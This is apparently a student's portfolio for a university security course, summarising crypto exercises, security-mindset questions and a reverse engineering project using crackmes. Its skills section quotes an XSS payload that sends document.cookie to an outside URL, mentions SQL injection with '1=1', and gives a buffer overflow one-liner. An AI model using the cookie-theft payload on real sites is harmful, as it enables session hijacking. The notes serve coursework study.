**Yuta Sato z5186797**

**Languages:** Japanese – native, English – fluent

**Email:** z5186797@ad.unsw.edu.au

**GitHub:** <https://github.com/yuu1127/projects>

**--------------------------------------------------------------------------------------------------------**

**Profile**

* Final year Master of Information Technology student at UNSW
* Passionate to communicate and socialize with international friends in COMP6841 class such as discussion with friends to solve questions and study about security.
* Good Security mind and skill applied through taking COMP6841evidence は後ででいいや、適当に全部書いてくやったこと

**--------------------------------------------------------------------------------------------------------**

**Technical Skills**Every week I try to attach and solve Technical questions on weekly activity and extend weekly activity, therefore I pick up some of them here.

* **Solving Crypto Cypher**Every week at least solve Cryptograms game, get skill to solve it.  
  For Cryptogram normally they use common word such as a, the , is we can guess from these words first.
* **Simple Crypto**  
  This was first crypto I did in class , first I found there are some number in text and if I wrote it in notes I found 6441 words so I came up with to change order and wrote it directory in notes . I showed my evidence in below (mynotes).
* **RSA**RSA is one of the most famous and useful cryptography.  
  The concept is public key and private key. The important property is if use public key to encrypt, we can undo it only by private key ( (m)) = m = ( (m)) .  
  So, if in 100 group , if they want to communicate with each other confidentially, 100 private key would be required.
* **Hash and MACs**Firstly, One different point between this 2 is crypto is reversible but hash is irreversible. So, if we compare the hashed message we need to know hash(secret) and key , but point is how we get key ? This is solved by MAC we can hash key as well sucha as hash(key|msg) but this can be compromised by length extension attack(padding and used previous hash to make new hash) , this is supported by using HMAC. In this exercise, we use same concept as length extension attack( I wrote python program for this .
* **SQL Injection**Attack SQL vulnerability then get every user data .   
  I have learned SQL but in this time , comment out and condition 1 = 1 is   
  useful for injection . not only this task but I always make tips.txt for each activity so   
  put evidence below.
* **XSS attack**This is java script attack  
  tips is  
  <script type="text/javascript">{alert("text");}</script>  
  <script>document.location="URL" + document.cookie</script>  
  the point is computer store cashe so everty time opo up or activitate
* **Buffer Overflow**Buffer over flowing !!!! Why bufferoverfolow happen !!??  
  well, caz we need buffer for write(or read) some in memory but  
  if not buffer allowcated they can occur segmantion fault   
  but if there are othre buffer beyond one buffer   
  they can over write overflow  
  python3 -c "import sys;sys.stdout.buffer.write(b'aaaaa....\x06\x....')" | ./a.out
* **Format String**

**Summary**

**-----------------------------------------------------------------------------------------------------------**

**Security Mindset**Every week I try to attach and solve security mind questions on weekly activity therefore I pick up some of them here.

* **Safe as Houses Challenge**My answer was make key replica, but now I think key should be secret because key is much important we learned from week4
* **Protect the Crown Jewel**My answer was make hall behind frame and hide there
* **Penguin**This was interesting question and I focused on time, normally people cannot pay attention in specific time such as midnight , Christmas (attacker chance) .
* **Trump Phishing**Phishing email is most popular and general topic for security, I pretend to be twitter officer and wrote email ,here trust is difficult topic for security , we normally trust big company such as google , MS, twitter and attacker try to use this trust to attack security .
* **Human Weakness**We learned here how much security we need to give to attach human weakness (vulnerability). This is same as cyber security if too much security we cannot do anything (demonstrated in case study) balance is important
* **Masic**We learned here how to trick people , to attack our common sense hole
* **Authentication**Authentication is important topic in security, for security we need to identify who authenticate to who. Google authentication is most common and many website normally use. This is because authentication system would be complicated if each company make system from 0. So as I wrote in comment , Google take palce of this job . But we need to be careful because attack often pretend to make fake Google system and try to compromise user ( think like attacker !)
* **Bits of Security (Penguin)**In information world , everything is implemented by bits so it is important to think everything using bits ! 7 \* 6 \* 2 \* 3 = 252 <= 2^8 so 8 bits need to express this.  
  For machine , we assume our machine process speed
* **Co-incidence Index**This has sane point as NSA games , if input is same, the output is same.  
  So , to find Co-incidence index rate we just need to count how many apper for each words and compare distribution graph ( normally e, t, a is highest frequency !!).

**Summary**

**-------------------------------------------------------------------------------------------------------------**

**Working with Others**Every time I try to attach and solve security mind questions on weekly activity therefore, I pick up some of them here.

**Merkle Puzzles**

I communicate with other firend using cypher !!

<https://www.openlearning.com/unswcourses/courses/sec-2020/merkle/>

**Self-Management**Every time I try to attach and solve security mind questions on weekly activity therefore, I pick up some of them here.

**Awesome Project: Reverse Engineering**

In this project, I studied about reverse engineering and learned how to use reverse engineering tool. For the first step, I just studied about assembly code from https://cs.brown.edu/courses/cs033/docs/guides/x64\_cheatsheet.pdf

and tried to use assembly tool which is compatible with my Mac. Firstly, I chose Ghidra and I used it to check some binary file. It has powerful tool and has many functions, but it doesn’t have debugger, so I changed to ida64. After I learned how to use ida64 , I tried to solve some simple reverse engineering question , but ida64 requires local debugger and I need to change my configuration ( keychain as well ) , after I tried to fix and configure it many times but after all I could not make it , so I decided to purchase more powerful and compatible tool for MAC OS , then finally I chose Hopper dissembler V4 . This tool provides free debugger named Hopper Debugger Server so it is easy to use for Mac user (I thought using Linux or Windows environment for my Mac but my Mac has low Disk Capacity so I didn’t).  
  
First my mistake is that I expected that it is easy to learn how to use these tools . However, there are really few resources for Mac User (mostly for Linux and windows user). Additionally, it was really difficult to solve Crackeme questions and attach binary file for who has never studied binary. So, I decided to write C or C ++ program by myself to make my own Crackeme questions and study and solve it using Hopper dissembler in reference to this website https://www.youtube.com/watch?v=VroEiMOJPm8&t=298s.

This would not be difficult because I have already known original C file but learning this way would be really helpful for beginner to understand binary basic concept. Sometimes, I just hide answer in other function or put more complicate if condition after that I used binary hopper to debug them. From this experience, I have learned how to use debugger (almost same command as other tools such as put breakpoint before if(cmp) then step into cell (ni) to read binary ...)

And finally, I tried to solve some Crackeme or Reverse Engineering questions from https://reverse.put.as/crackmes/, but these questions don’t have compatible version for newest OSX version so I couldn’t run almost all programs. Therefore, I picked up some questions and tried to solve it. Some question is easily solved (just changed address to jump to correct address) but some is difficult for me so I could not solve them.

For reflection, actually I should have prepared Linux or Windows environment for this project since many tools and question are not compatible for new Mac OS(Catalina).

But I also could attach many Reverse Engineering tools (objdump, Ghidra, ida64, Hopper dissembler) and learn about what the difference between them and how to use various tools. In terms of project difficultly, I should have made schedule less difficult because I was stacked the point how to use tools and setting. But overall, I could learn how to use these tools and binary code instructions and basic skill about how to solve simple Crackeme questions and understand how actually computer works in the background of exe file. But in future I would like to keep to using this tool and study binary code and study more about reverse engineering and finally want to apply these techniques for other applications (such as tackle more difficult questions).